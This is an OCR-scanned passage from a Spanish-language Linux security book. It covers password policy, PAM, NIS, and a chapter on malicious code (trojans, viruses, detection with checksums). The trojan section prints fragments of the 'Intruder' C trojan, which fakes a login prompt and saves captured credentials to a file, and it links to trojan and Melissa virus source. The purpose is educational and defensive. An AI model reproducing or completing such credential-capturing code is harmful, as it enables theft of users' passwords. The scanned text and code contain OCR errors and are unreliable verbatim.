almacenaba las contrasefas de e-mail cifradas en un archivo fuente de Java llamado
prefs.js.)

Estas circunstancias no haran mas que empeorar la situacion, porque el uso de
la red se esta volviendo cada vez mas importante para los negocios y el ocio. Esto
incrementa las demandas del publico de nuevas y mas interesantes herramientas
de red. En respuesta, los desarrolladores siguen generando aplicaciones inno-
vadoras y lanzandolas rdpidamente al mercado, a menudo sin que esten sujetas a un
control estricto de seguridad. Por ello, el mercado de consumo esta lleno de
aplicaciones que almacenan o transmiten contrasefias de forma insegura.

Por ello, si va a distribuir Linux en un entorno empresarial, debe seguir estos
pasos:

e Limite los usuarios a un conjunto de aplicaciones establecidas y probadas que
conozca a la perfeccion. Para ello, puede definir tareas criticas y las he-
rramientas necesarias para ejecutarlas. Por el contrario, descarte las
aplicaciones que no se ajusten a estos criterios y prohiba al personal utilizarlas.

o En cada aplicacién aprobada, verifique el almacenamiento de contrasefias y
los procedimientos de transmision. Si es preciso, pongase en contacto con el
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distribuidor. Si éste se niega a facilitar dicha informacion, reconsidere la
posibilidad de utilizar esa aplicacién. No hay ninguna buena razén por la que
un vendedor quiera ocultar esta informacion.

e Para evaluar los procedimientos de transmision de contrasefias, pruebe a
espiar una sesién entre dos hosts utilizando la aplicacion bajo sospecha. Los
resultados nos revelaran si la contrasefia se transmitio en texto sin formato,
texto codificado con UUencode, texto XOR o texto cifrado. Para obtener més
informacién al respecto, véase el Capitulo 7, "Sniffers y escuchas electro-
nicas".

e Elimine cualquier aplicaciéon que emplee un mal almacenamiento de
contrasefias y unos procedimientos de transmision deficientes. Por ejemplo,
si descubre que una aplicacion cliente-servidor almacena las contrasefias en
el cliente, ésa es una sefial de alarma.

e Respecto al conjunto de aplicaciones aprobadas, esté al tanto de los avisos
urgentes (y de las listas de seguridad) que emitan sus respectivos
distribuidores, ya que a través de ellos puede saber en cuestion de horas
cuando se han descubierto nuevos agujeros.

e Pruebe la fortaleza del sistema de contrasefias una vez al mes, aunque utilice
la comprobacidn proactiva de contrasefias.

Ademas de todo esto, atin dispone de un gran arma: la educacion del usuario.
Asegurese de que los usuarios comprenden la importancia de la seguridad de las
contrasenas. En particular, intente subrayar la importancia de acatar la politica de
contraseiias, incluso cuando sea incomoda. Los usuarios nunca deben apuntar las
contrasenas, darselas a terceras personas sin autorizacién o compartirlas, ni
siquiera con compaieros de confianza. (Este tltimo requerimiento puede parecer
muy severo, pero es totalmente necesario.) :

Moébdulos de autenticacion
que pueden conectarse

Un avance reciente en cuanto a autenticacion son los modulos de autenticacion
que pueden conectarse (PAM), que permiten cambiar la forma en que las
aplicaciones de Linux ejecutan la autenticacién sin tener que reescribirlas y
compilarlas. En las tltimas distribuciones, los PAM se han integrado en el inicio de
sesién y en otros procedimientos que requieren autenticacion de contrasena.

Algunos modulos PAM tipicos son:

e pam_cracklib: un comprobador proactivo de contrasefias que pueden
conectarse. Este médulo de Christian Gafton refuerza la comprobacion de
contrasenas de cualquier aplicacion que "conozca" PAM.

* pam_deny: un moédulo que puede conectarse de Andrew G. Morgan que
avisard a una aplicacion que "conozca" PAM de que la autenticacion ha
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fallado. Fuerza la autenticaciéon y deniega cualquier sesion en la que no se
haya proporcionado autenticacién o ésta haya resultado fallida.

¢ pam_pwdb: un médulo de base de datos de contrasefias que pueden
conectarse, de Cristian Gafton y Andrew G. Morgan, que proporciona
expiracion de contraseiias, vencimiento, avisos, etc.

¢ pam_group: un médulo que puede conectarse de Andrew G. Morgan que
asigna y rastrea la pertenencia a un grupo de los usuarios y de sus sesiones
terminales.

Los PAM proporcionan muchas opciones de gestion de autenticacion, de
cuentas, de sesiones y de contrasenas, y se han utilizado para desarrollar
operaciones de autenticacion como la firma unica. (Esto es, cuando un usuario se
autentica una sola vez en una red de maquinas de confianza. Una vez que ha
iniciado la sesion, el usuario puede desplazarse y su autenticacién inicial le sigue.)
Para encontrar un ejemplo de esta forma de uso de PAM, véase "X/Open Single
Sign-on Service (XSSO): Pluggable Authetication Modules" del OpenGroup, que se
encuentra en el sitio web http://www.opengroup.org/onlinpubs/8329799/toc.htm.

Para obtener mas informacion sobre los PAM, vea los siguientes documentos de
Andrew G. Morgan:

¢ '"The Linux-PAM System Administrators’ Guide", que muestra los conceptos
y el uso de los PAM (http://temp.redhat.com/linux-info/pam/docs/pam.html).

e "The Linux-PAM Module Writers’ Manual Draft", que se encuentra en
http://temp.redhat.com/linux-info/pam/docs/pam_modules.html.

e "Pluggable Authentication Modules", Internet Draft, draft-morgan-pam-
00.txt, 11 de agosto de 1998. En este documento, Morgan da una visién de los
entresijos y de la especificacion de los PAM (http://puma.germany.net/inter-
nic/internet-drafts/draft-morgan-pam-00.txt).

e "The Linux-PAM Application Developers’ Guide", que se encuentra en
http://temp.redhat.com/linux-info/pam/docs/pam_appl.html.

NOTA

PAM también es compatible con las contrasefias MD5 y, por consiguiente, se pueden
utilizar contrasenas mucho mas largas. Si usa Red Hat Linux, consulte la guia de
usuario para obtener mas informacién.

Los PAM tienen un historial de seguridad breve pero significativo. Michal
Zalewski determiné en diciembre de 1998 que los paquetes hasta la versién 0.64-2
eran vulnerables a un ataque rapido que proporcionaba a los atacantes locales
acceso de root.

Supuestamente, pam_unix_passwd.so (el médulo de seguridad de contrasefia)
crea un archivo temporal con shadowing con permisos 0666. Bajo las condiciones
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correctas, esto podria llevar a un permiso de lectura-escritura para todo el mundo
en /etc/npassd y /etc/shadow. Para obtener mas informacion sobre el cédigo de
las pruebas de vulnerabilidad, véase la pagina http://www.sekurity-net.com/newfi-
les/pam_unix_passwd.so.txt.

Ademas, el desarrollador independiente Tani Hosokawa informé en junio de
1999 que en Red Hat 6.0, su, que dispone de alerta PAM, proporciona una buena
posibilidad de obtener por fuerza bruta la contrasefia de root. Para conocer una
descripcion de esta técnica (y estar seguro de leer las iteraciones), dirijase a la
pagina web http://www.securityportal.com/list-archive/bugtrag/1999/Jun/0097 .html.

Otras soluciones para la seguridad
de las contraseiias

Por ultimo, se pueden utilizar otras soluciones exoéticas para la seguridad de las
contrasenas:

¢ Controles de acceso biométrico: como se ha explicado en el Capitulo 2,
"Seguridad fisica", estas herramientas autentican a los usuarios basiandose
en el olor corporal, 1a estructura facial, las huellas dactilares, los patrones del
iris o la retina, el trazado de las venas o la voz. Los controles de acceso
biométrico tienen un nivel excepcionalmente alto de precisién. Sin embargo,
éstas son soluciones poco realistas debido a su alto coste. Con la notable
excepcion de los programas piloto que recientemente han establecido
Compaq y Sony, los PC y las estaciones de trabajo con capacidad biométrica
son ain muy caros.

¢ Contrasefias que se utilizan una sola vez: los sistemas de contraseiias que se
utilizan una sola vez generan contrasefias desechables. Estas contrasefias no
se transmiten nunca por la red. En su lugar, el servidor reta al cliente con un
valor numérico, que el cliente puede utilizar para generar un valor secreto
adecuado para la transmisién de retorno. Los sistemas de contrasefas que
se utilizan una sola vez estan disefiados para evitar los ataques pasivos a la
contrasena, en los que el atacante estd monitorizando el sistema de redes
con un sziffer, un analizador de protocolos o algo similar. Un buen ejemplo es
S/Key, de Bellcore. Para obtener mas informacion, véase el Capitulo 7.

Servicio de informacion de la red y
seguridad de las contrasenas

Es improbable que vaya a ejecutar un servicio de informaciéon de red (NIS,
Network Information Service, antiguamente llamado sistema de paginas amarillas o
sistema YP ). Sin embargo, como NIS tiene un historial de seguridad importante y
puede afectar adversamente a la seguridad de las contrasenas, merece la pena
mencionarlo aqui.
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NIS, desarrollado por Sun Microsystems y publicado originalmente en 1985,
permite a las maquinas de una red dada compartir informacién de los usuarios y de
las contrasefias (entre otras cosas). NIS lo consigue utilizando el modelo cliente-
servidor y RPC (Remote Procedure Calls, llamadas remotas a procedimientos) para
compartir informacién tanto local como global contenida en al menos estos
archivos*:

e /etc/group.
e /etc/hosts.
o /etc/passwd.

La informacién global de NIS (que puede utilizarse para simular una situacién
de firma tnica) debe actualizarse de una forma especial usando utilidades
especiales de YP. Como se explica en el manual de yypasswd:

"Cuando NIS distribuye las contrasefas a los usuarios (es decir, a YP), las
utilidades estandar passwd, chfn y chsh sélo se pueden utilizar para permitir a los
usuarios cambiar sus contrasefias, porque ellos sélo las modifican en el host local.
Habitualmente, son reemplazadas por sus equivalentes de YP: yppasswd, ypchfn e
ypchsh."

El problema principal con NIS es que es inseguro. Si averiguan el nombre
"secreto" de su dominio NIS, los intrusos pueden capturar la informaciéon de
nuestra contrasefia y romper el sistema de contrasefias. Para saber como funcionan
estos ataques, véase "Improving the Security of Your Site by Breaking Into It", de
Dan Farmer y Wietse Venema, que se encuentra en http://www.security.net/brea-
kin.html.

NIS es bastante complicado. Si tiene intencién de utilizarlo (y no debe hacerlo
salvo en entornos de intranet), vea las siguientes fuentes:

e "Securing NIS", de Doug Hughes, de la Universidad de Auburn, que se
encuentra en http://www.eng.auburn.edu/users/doug/nis.html.

¢ "Linux NIS(YP)/NIS/NIS+HOWTO", de Thorsten Kukuk, que se encuentra
en http://metalab.unc.edu/mdw/HOWTO/NIS-HOWTO. html.

e "NIS Administration Guide", de Fujitsu, que se encuentra en http:/
www.pdc.kth.se/doc/fujitsu/manuals/C/nuae/nuae24/nuae0439.htm.

o Las paginas del manual de ypserv, ypbind, ypcat, ypinit, ypmake, ypmatch,
yppoll, yppush, ypwhich, ypset, yppasswd, ypchfn e ypchsh, asi como los
archivos yp.conf e ypserv.conf.

* Dependiendo de como esté configurado NIS, pueden también compartirse versiones locales y
globales de /etc/services, /etc/ethers, /etc/bootparams y otros.
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Resumen

Es discutible que una buena seguridad de contrasefias sea la mejor y mas
importante ventaja que podamos tener. A menudo, los atacantes inexpertos
probaran primero ataques a contrasefia. Cuando esto les falle, ejecutaran ataques
de denegacion de servicio u otros ataques parecidos y continuaran avanzando. Por
tanto, debe contemplar la seguridad de contrasefias como nuestra primera linea de
defensa. Y una buena seguridad de contrasefias se consigue con un esfuerzo
minimo.

He aqui unas buenas reglas que hay que ejecutar de manera secuencial:

1.

En un sistema sin shadowing, detenga la maquina temporalmente, instale la
suite shadow y migre usuarios y grupos segun el caso. Establezca que las
contrasefias expiren cada 60 6 90 dias, con un aviso de 5 dias y un bloqueo en
una semana.

A continuacién, instale una comprobacion proactiva de contrasefias, refor-
zando las reglas al maximo y utilizando un diccionario de al menos 100.000
términos.

Vuelva a poner en servicio la maquina y permita a los usuarios elegir nuevas
contrasenas.

Una vez al mes, ejecute Crack utilizando la lista de palabras mas amplia que
pueda obtener. (Este proceso se puede automatizar utilizando el comando at.)

Esté muy pendiente del distribuidor y de las listas de seguridad en espera de
nuevos exploits que pudieran descubrir las contraseiias.

Asegtirese de que cada usuario crea una contrasefia nueva y tinica para cada
host al que tiene acceso. Si es necesario, tome los registros del comprobador
proactivo de contrasefias (que contienen todas las contrasefias que los
usuarios han probado previamente) y afiddalos a las listas de palabras del
comprobador proactivo de contrasefias de los demas kosts. De este modo, las
contrasefias mal elegidas se incorporan a los comprobadores de toda la red.

Proporcione a los usuarios, al menos, una formacién bdsica acerca de la
seguridad de contrasefias.

Si sigue fielmente estos pasos, conseguirdA una buena seguridad de las
contrasenas.

La siguiente lista apunta a un buen material de referencia on-line:
e "2x Isolated Double-DES: Another Weak Two-Level DES Structure", Terry

Ritter de Ritter Software Engineering, 16 de febrero de 1994. En este
articulo, Ritter presenta buenos argumentos a favor de la sustitucion de
DES. Para consultarlo, dirijase a http://www.10pht.com/pub/blackcrwl/en-
crypt/2XISOLAT. TXT.

"CERN Security Handbook on Passwords", CERN, noviembre de 1998. Un
texto elemental y corto sobre la eleccion de contrasefias fuertes. Para
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consultarlo, dirfjase a http://consult.cern.ch/writeups/security/security_3.html
#SEC7.

s "Qbserving Reusable Password Choices", Purdue Technical Report CSD-TR
92-049, Eugene H. Spafford, Departamento de Ciencias de la Computacion,
Universidad de Purdue. Para consultarlo, dirfjase a http://www.alw.nih.gov/
Security/FIRST/papers/password/observe.ps.

e "Opus: Preventing Weak Password Choices", Purdue Technical Report CSD-
TR 92-028, Eugene H. Spafford, Departmento de Ciencias de la Compu-
taciéon, Universidad de Purdue. Para consultarlo, dirfjase a http://www.
alw.nih.gov/Security/FIRST/papers/password/opus.ps.

e "Selecting Good Passwords", David A. Curry. (Extraido de "Improving the
Security of Your Unix System”.). Para consultarlo, dirfjase a http://www.
dsm.fordham.edu/password-dos+donts.html.

¢ "Announcing the Standard for Automated Password Generator", publicacion
181 de los estandares de procesamiento de la informacion federal. Este do-
cumento se centra en la mala eleccién de contrasenas y en como desarrollar
herramientas para evitarla. Se puede encontrar en http://www.alw.nih.gov/
Security/ FIRST/papers/password/fips181.txt.

e "Department of Defense Password Management Guideline". Si desea una
perspectiva mas histérica en relacion a la seguridad de contraseiias, empiece
por aqui. Este documento lo elabor¢ el Centro de Seguridad Computacional
del Departamento de Defensa, en Fort Meade, Maryland. Se puede encon-
trar en http://www.alw.nih.gov/Security/FIRST/papers/password/dodpwman.txt.

o "Self-Study Course in Block Cipher Cryptanalysis", B. Schneier, 1998. Curso
de autoestudio del criptoanalisis del cifrado de bloques, en formato PDF o
PostScript, escrito por un profesional. Para consultarlo, dirijase a http://
www.counterpane.com/self-study.html.

¢ "Cryptographic Design Vulnerabilities", B. Schneier, 1998. Documento en
PDE. Se puede encontrar en http://www.counterpane.com/design-vulnera-
bilities.pdf.

e "DES Modes of Operation”. Publicacion 81 de los estandares de
procesamiento de la informacion federal. Un tratamiento técnico de DES. Se
puede encontrar en http://www.itl.nist.gov/div897/pubs/fip81.htm.

e "The Electronic Frontier Foundation DES Challenge News". Si desea
mantenerse al dia de los ultimos esfuerzos para romper DES, dirijase a
http://www.eff.org/descracker/.

¢ distributed.net. Este sitio es la sede de aquellas personas que han roto varios
algoritmos de cifrado utilizando miles de computadoras a través de Internet.
Su proyecto es, en una palabra, fascinante. Aprovechando la potencia de
proceso de los PC en todo el mundo, fueron capaces de romper al menos un
algoritmo RSA en 23 horas. Increible. Para consultarlo, dirfjase a http://
www.distributed.net/.
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* "The Encryption and Security Tutorial", Peter Gutmann. Este es el tutorial
de "Godzilla" del Sr. Gutmann, que consta de mas de 500 transparencias y se
dirige a muchos aspectos importantes del cifrado. Es bueno, pero no se
espere demasiado. Para consultarlo, dirijase a http://www.cs.auckland.ac.nz/
~pgut001/tutorial/.

* "Security Pitfalls in Cryptography", Bruce Schneier. Un documento que
refiere algunos errores habituales acerca del cifrado fuerte. Para consul-
tarlo, dirijase a http://www.counterpane.com/pitfalls.htm|
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Este capitulo examina una de las més insidiosas amenazas a la seguridad de
cualquier sistema: el codigo daiino.

;Qué es el codigo danino?

El cédigo danino es:

e Cédigo no autorizado (dentro de un programa legal) que realiza funciones
que el usuario no conoce (y probablemente no desea).

e Un programa legal que se ha modificado mediante la insercién en €l de
codigo no autorizado que ejecuta funciones desconocidas (y probablemente
no deseadas).

e Cualquier programa que parezca que realiza una funcion deseable y
necesaria, pero que (debido a que contiene cédigo no autorizado) ejecuta
funciones que el usuario no conoce (y probablemente no desea).

e Codigo no autorizado disefiado para permanecer oculto y destruir datos.

Existen muchos tipos distintos de codigo dafino, pero los siguientes son los dos
mas frecuentes:

e Troyanos.
e Virus.

Vamos a ver sucintamente cada uno de ellos.

;Qué es un troyano?

Los troyanos (llamados también caballos de Troya) son cualquier programa (a
menudo, pero no siempre, legal) que ha modificado algin programador malicioso.
Durante el proceso de alteracién, dicho programador inserta codigo adicional que
va a ejecutar una funcién oculta no autorizada (por ejemplo, imagine que un
Matacante" sustituye /bin/login por otro /bin/login que se ha modificado para
capturar y grabar las contrasefias en un archivo oculto).

Los troyanos pueden surgir en cualquier parte del sistema, pero no aparecen de
forma espontanea ni se pueden propagar sin la intervencion humana, ya que somos
nosotros los que los introducimos fisicamente en el sistema a través de cualquier
medio transportable o de una conexion de red.

Por esta razon, hay que ser siempre muy precavido con el software que se
descarga de Internet. Salvo en contadas ocasiones (que se explican en este mismo
capitulo), casi nunca se disponen de los medios apropiados para verificar que el
software es seguro hasta que se ha descargado (y algunas veces, ni siquiera
entonces).

Incluso las distribuciones supuestamente oficiales de software pueden portar
troyanos. Por ejemplo:
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* En enero de 1999, alguien distribuy6 un troyano de actualizacién de Micro-
soft Internet Explorer a través de correo electronico. Las victimas ejecutaban
tranquilamente el ejecutable adjunto, que era quien instalaba el troyano.

¢ También en enero de 1999, alguien distribuyo un paquete de TCP Wrappers
con troyanos (T'CP Wrappers es un conjunto de herramientas que propor-
ciona control de acceso a lared).

e En 1995, un estudiante de Temple University incluyé algunos troyanos en los
archivos binarios precompilados de SATAN 1.0 (SATAN o System
Administrator’s Tool for Analyzing Networks es un scanner de seguridad de
redes muy utilizado. Puede obtener mas informacion acerca del mismo en el
Capitulo 8, "Scanners").

Los troyanos constituyen un alto riesgo por varias razones:

¢ Se ejecutan subrepticiamente, encubiertos en PID legales. La mayoria de los
creadores de troyanos escriben sus herramientas como sustitutos de utilida-
des del sistema de uso frecuente. Al hacerlo, realizan dos suposiciones: a) el
usuario no va a mover ni suprimir el troyano y b) el usuario no se va a alar-
mar cuando vea su proceso de ejecucion (por ejemplo, nadie pensaria que es
extrafno que httpd se ejecutara en un host de web).

* A menos que se adopten algunas medidas preventivas inmediatamente
después de la instalacién, los troyanos son dificiles de detectar. La
mayoria de los troyanos son archivos binarios compilados (no scripts de
shell, TCL, Python o PERL), por lo que no es posible examinar facilmente
su codigo.

Hay varias técnicas de creacién de troyanos. Algunos creadores escriben cédigo
que aparentemente realiza funciones normales, pero que, en realidad, deshabilita o
sustituye utilidades legales. Un buen ejemplo es login_trojan.c, un troyano que
emula a /bin/login. login_trojan.c se comporta aparentemente como login. Sin
embargo, internamente guarda contrasefias en un archivo para su posterior
examen. Puede obtener mas informacién al respecto en http:/samarac.hfactorx.
org/Exploits/login_trojan.c.

La vida util de estos troyanos es muy breve, ya que reemplazan o desactivan
utilidades reales del sistema, por lo que los administradores de sistemas detectan
rapidamente su presencia, no necesariamente a través de técnicas de investigacion,
sino porque la funcién de la utilidad original ya no se realiza.

Otros creadores de troyanos utilizan un método distinto. En lugar de reem-
plazar o emular una utilidad conocida, ofrecen software precompilado como si fuera
una herramienta legal que desea la mayoria de los usuarios. Un buen ejemplo es
Intruder 1.02 de THeGZa y los miembros de #coderspc, que se hace pasar por un
scanner de la seguridad del sistema. Los scanners de la seguridad del sistema
buscan automaticamente en el sistema agujeros de seguridad y problemas de
configuracion. Para obtener mas informacion, consulte el Capitulo 8.

Lo primero que hace Intruder es simular actividad utilizando para ello sleep():
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void pimpthem()

{
printf("\n");
printf(".\n");
sleep( 1 );
printf(".\n");
sleep( 1 );
printf(".\n");
sleep( 1 );

Seguidamente, simula un error de segmentacion:

printf("found buffer overide bug iSegmentation Fault (core dumped)\n");
sleep( 1 );

system("clear"};

}

A continuacién, presenta un procedimiento de login erréneo:

void fakelogin()

{
char *inputi[10]={0};
char input(10];
char var[80] = {0};
char buffer[80] = {0};
FILE *fp;
FILE *file;
char hostname[80])={0};
FILE *hostnamefile;

fp = popen("cat /etc/issue.net", "r"});
fread(var, 80, 1, fp);

printf("\n");
printf("%s",var);
printf("\n");

hostnamefile=fopen("/etc/HOSTNAME","r");
fread(hostname,78,1,hostnamefile);
scanend(hostname);

printf("%s login: ",hostname});
gets(input);

*inputi=getpass("Password: ");
printf("\n");
Y, finalmente, graba y almacena la informacién de la contrasena:

strcpy(loginfake.id, input);
strcpy(loginfake.password, *inputil);
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file = fopen("mirror.txt","w");
fprintf(file, "username:%s\npassword:%s\nUID:%i",
=]loginfake.id, loginfake.password, getuid());
fclose(file);

Intruder puede obtenerse en http://www.hoobie.net/security/exploitsthacking/
intruderf.c.

Como se explicara en este mismo capitulo, la deteccién de troyanos suele
implicar el descubrimiento de cambios sospechosos en los archivos de alguna
unidad. Aunque en casos como el de Intruder, hay que seguir distintos pasos. Una
forma rapida de descubrir utilidades similares a Intruder es examinar su cédigo en
un editor o en un depurador, o revisar el cédigo sin formato de la maquina. Por
ejemplo, si busca Intruder en la cadena iSegmentation Fault, inmediatamente se
daria cuenta de que algo no va bien. Aqui, un mensaje de error creado su-
puestamente de forma dinamica aparece en su totalidad en el codigo del programa.

A veces, un troyano no es realmente un programa daiiino, sino una herramienta
de seguridad. Un buen ejemplo es el troyano de su de Shawn E. Mcka, un su falso
disefiado para capturar a usuarios no autorizados que inician la sesién como root.
Mckay hizo todo, incluyendo rutinas que simulaban demoras y que escribian
mensajes de registro normales en syslog. En todos los aspectos, el programa acttia
y deja las mismas huellas que si fuera un su normal. Mientras tanto, envia correos
electrénicos que informan de los intentos de intrusiones. Puede obtener mas
informacién sobre el troyano de su en http://samarac.hfactorx.org/Exploits/su-
Trojan.c. Otra interesante innovacion a este respecto es FakeBO, una herramienta
que emula a un servidor en el que BackOrifice (BO) ha introducido troyanos
(BackOrifice, cuya nueva versiéon es BO2K, es un programa de administracién y
control remotos para sistemas Windows 95/98. En malas manos, puede utilizarse
como un eficaz troyano. Puede encontrarlo en http://www.cultdeadcow.com/.)
FakeBO simula que BO se ejecuta en el equipo y monitoriza y graba los ataques que
se producen. Para obtener mas informacion acerca de FakeBO, visite http://yi.com/
home/KosturjakVlatko/fakebo.htm.

Virus

Los virus informaticos se encuadran en dos categorias principales:

* Programas disefiados para infectar, modificar o sobrescribir el sector de
arranque o el registro de inicio maestro.

* Programas disefiados para adjuntar cédigo danino a los archivos del objetivo.
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Los virus en archivos son mas habituales y variados que los del sector de
arranque y tradicionalmente han supuesto una mayor amenaza para las comunida-
des de redes, principalmente por la forma en que se propagan.

Durante los procesos de adjuntar, el codigo original del virus se afiade a los
archivos victimas del mismo. Este procedimiento recibe el nombre de infeccion.
Cuando se infecta un archivo, suele pasar de ser un archivo ordinario a uno
portador de virus.

A partir de ese momento, el archivo infectado ya puede infectar a otros. Este
proceso recibe el nombre de replicacion. A través de la replicacién, los virus
pueden extenderse por toda una unidad de disco, con lo que se obtiene una
infeccion sistémica. A menudo no aparece nada que avise de que se va a producir
dicha infeccién antes de que ya sea un hecho consumado y, para entonces, ya puede
ser muy tarde para salvar los datos dafiados.

Sin embargo, es interesante saber que la mayoria de los virus realmente no
destruyen datos, simplemente infectan discos o archivos. Pero aun cuando un virus no
sea inherentemente destructivo, puede afectar al servicio. Por ejemplo, si se infectan,
los controladores del sistema operativo pueden funcionar de manera irregular.

Sin embargo, no hay que olvidar que también existen virus destructivos. De
hecho, uno de los primeros en circular publicamente se convirtié en un virus
destructivo. Se llamaba Merrit y aparecio en 1987. Este virus podia destruir la tabla
de asignacion de archivos (FAT) de los disquetes. Con el tiempo, Merrit pasé por
varias etapas de evolucion, la mds peligrosa de las cuales se llamé Golden Gate.
Golden Gate realmente formateaba el disco duro de la victima.

Hace afios, las infecciones se producian principalmente mediante transferencias
directas de disquete a disquete, de disquete a sector de arranque o de disquete a
disco duro y se esparcian lentamente de unas maquinas a otras. Pero esa época se
ha acabado. Actualmente, Internet ofrece a los virus la oportunidad de esparcirse
constantemente e infectar a miles de sistemas.

Este es un ejemplo reciente: alrededor del 26 de marzo de 1999, un hombre de
New Jersey presuntamente liberé un virus de macro de Microsoft Word llamado
Melissa en un grupo de noticias de USENET. Solamente 72 horas después,
Computer Emergency Response Team inform¢é de que habia mas de 100.000 hosts
cuya infeccion se habia confirmado.

Los virus de macro (cuyo nombre deriva de los lenguajes de macro en el que estin
escritos) atacan a los documentos y a las plantillas de los documentos, sobre todo en
entornos centrados en Microsoft, como Word, Excel y Outlook.

Un consejero del Department of Energy’s Computer Incident Advisory
Capability informé solemnemente de que ni siquiera los sistemas DOE eran
inmunes a Melissa:
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"Se ha detectado un nuevo virus de macro de Word 97 llamado W97M.Melissa
en varios sitios de DOE y se sabe que se estd esparciendo ampliamente.
Ademas de infectar a las copias de Microsoft Word, el virus utiliza Microsoft
Outlook 98 o Outlook 2000 para enviar por correo electrénico el documento
infectado a las 50 primeras personas de cada una de las libretas de direcciones
de Outlook. Boletin informativo del CIAC, J-037A: W97M.Melissa Word Macro
Virus. http://www.ciac. org/ciac/bulletins/j-037.shtml."

Si desea ejecutar Melissa en un entorno de prueba, puede obtener su cédigo fuente
en http://www.cry4dawn.com/melissa/melissa.txt.

Melissa se dirigia a los ordenadores personales que utilizaban productos de
Microsoft, por lo que, a ese respecto, no era terriblemente exclusivo. De los
alrededor de 13.000 virus existentes, la mayoria atacan a ordenadores personales
que utilizan el sistema operativo de Microsoft. Por el contrario, muy pocos de ellos
(realmente, tres) atacan a sistemas operativos que utilizan UNIX.

¢Se debe todo esto a que los creadores de virus tienen una vendetta contra
Microsoft? No, sino que UNIX es sencillamente un campo poco abonado para virus.
Como se ha explicado en el Capitulo 4, "Administracion basica del sistema Linux",
UNIX emplea un control de acceso basado en propietarios y grupos y restringe
tajantemente los accesos de lectura, escritura y ejecucion a los archivos. De ahi que
sea dificil escribir un virus que se extienda en un entorno UNIX (el virus desea
privilegios en los archivos y no puede obtenerlos). Por contra, a excepcién de
Windows NT con NTFS activo, los entornos de Microsoft no imponen unos
controles tan severos, lo que hace que sean los objetivos de los virus.

No es imperioso que NTFS proteja un equipo Windows NT de ataques. Algunos
paquetes de software (incluyendo los de Microsoft) se instalan con permisos de acce-
S0 pOCo severos y, por consiguiente, invitan a los virus a atacarles sin que puedan
sobrevivir. Ademds, la practica de Microsoft de integrar su lenguaje de macros en el
API de su sistema operativo es muy arriesgada. Sin duda alguna, la consecuencia de
todo esto es que en el futuro habrd mds virus similares a Melissa.

Detectar codigo dafino

La deteccién de cédigo dafiino puede resultar sencilla o complicada, todo
depende de como se haya preparado el sistema. Un paso critico que hay que
realizar es conservar una "instantanea" del sistema operativo inmediatamente
después de la instalacion.
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El motivo es que el método mas fiable de deteccion de cédigo dafiino es la
reconciliacién de objetos. En la reconciliacién de objetos, el objetivo es responder a
esta pregunta: ":Est4 todo tal como se ha dejado?" Este método funciona de la
siguiente forma: los objetos pueden ser archivos, directorios, dispositivos, etc. La
reconciliacién es el proceso de comparacién de dichos objetos con la version de una
fecha anterior de ellos mismos.

Por ejemplo, imagine que ha tomado una cinta de copia de seguridad y ha
comparado el archivo ps de fecha noviembre de 1998 con el mismo archivo que se
encuentra ahora en la unidad. Si ha cambiado y no lo ha actualizado, reemplazado,
ni le ha aplicado ningtn parche, es claro que algo falla. Esta es la reconciliacién de
objetos y las instantaneas en el momento de instalacién son un ingrediente vital.

Existen varios métodos para realizar la reconciliacion de objetos, pero todos se
basan en la detecciéon de cambios en la informacion del estado de los archivos. Por
ejemplo, un método muy primitivo es generar una lista de comprobacion de todos
los archivos y examinarla para ver si se ha producido algtin cambio en:

¢ Laultima fecha en que se han modificado.
¢ Su fecha de creacion.
¢ Su tamaio.

Desgraciadamente, este método no es suficiente, ya que dichos valores (fechay
tamafio) se pueden manipular con facilidad. Como explicaban Gene H. Kim y
Eugene H. Spafford en su estudio "The Design and Implementation of Tripwire: A
File System Integrity Checker":

"_..una lista de comprobacién es un formulario de esta base de datos en los
sistemas UNIX. El propio contenido de los archivos no se suele guardar, ya
que se necesitaria mucho espacio de disco, sino que las listas de
comprobaciéon contendrian un conjunto de valores generados a partir del
archivo original (que normalmente incluyen la longitud, la hora en que se ha
modificado por tltima vez y el propietario). La lista de comprobacion se
regenera periédicamente, se compara con las copias guardadas y se anotan
las diferencias. Sin embargo, es posible realizar cambios en el contenido de
los archivos de UNIX sin que cambien los valores almacenados; en
particular, cualquier usuario que obtenga acceso a la cuenta root puede
modificar el disco sin procesar para alterar los datos guardados sin que ello
aparezca en la lista de comprobacion."

Otro método es utilizar sumas de comprobacién basicas. Las sumas de
comprobacién son valores numéricos que se componen de las sumas de los bits de
un archivo y suelen utilizarlas los programas que realizan transferencias de datos
en red. Al transferir los datos del punto A al punto B, tanto el cliente como el
servidor almacenan una suma de comprobacién para cada bloque de datos. En el
destino, esta suma de comprobacion se compara con los datos recibidos. Si ambos
valores coinciden, significara que los datos se han transferido correctamente y no
son peligrosos. Sin embargo, si difieren, significara que se han dafiado durante la
transferencia y se produce un error.
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Las sumas de comprobacion de archivos estaticos se pueden generar utilizando
varias utilidades, entre las que se incluye sum (o en algunas plataformas, cksum).

sum, como se define en man (archivo de ayuda de Linux)...

"...calcula e imprime una suma de comprobacién de 16 bits para el archivo
con nombre y también imprime el numero de bloques del archivo. A la hora
de computar la suma de comprobacion, se ignoran los caracteres NULL (con
el valor ASCII cero). sum se suele utilizar para buscar puntos malos o para
validar que un archivo se ha comunicado a través de una linea de
transmision."

Es muy facil calcular las sumas de comprobacion de los archivos estaticos. Este

es un ejemplo del listado de un directorio:

Arwxrwxrwx
- PWXPWXTWX
- PWXPWX WX
- PWXTWXTWX
- PWXTWX WX
- FWX WX WX
- PWXPWX WX
- PWXPWXT'WX
-PWXTWX WX

6
4
1
1
9
1
1
1
1

1046
mikal
mikal
mikal
root
mikal
root
mikal
mikal

sys
user
user
user
sys

user
sys

user
user

138
368640
189795

21243

556

4005
39
6191
18952

Jul
Jul
Jul
Jul
Jul
Jul
Jul
Jul
Jul

0o ~N N 0NN

04:
04:
06:
142
04:
04:

01

21

16
15
06

18
30

.21
06:
06:

45
46

SSLftp-0.8
SSLftp-0_8 tar
User_Manual.pdf
ftpsec.txt
junk.txt
morejunk.txt
test-checksum.txt
tripwire.txt
twpol.txt

Para obtener sumas de comprobacion basicas de 16 bits en estos archivos, se
puede introducir el siguiente comando:

# sum *

Esta es la salida con las sumas de comprobacién en negrita:

Read error on SSLftp-0.8: Is a directory

9 0 SSLftp-0.8
9784 720 SSLftp-0_8_tar
33473 371 User_Manual.pdf

28778 42 ftpsec.txt

31687 2 junk.txt

39532 8 morejunk.txt

43604 3 test-checksum.txt

11240 13 tripwire.txt

24705 38 twpol.txt

Si se desea una prueba de integridad rapida y poco fiable (con pocas garantias),
se puede generar una "instantinea" del sistema operativo, como se muestra a

continuacion:

# sum “find /

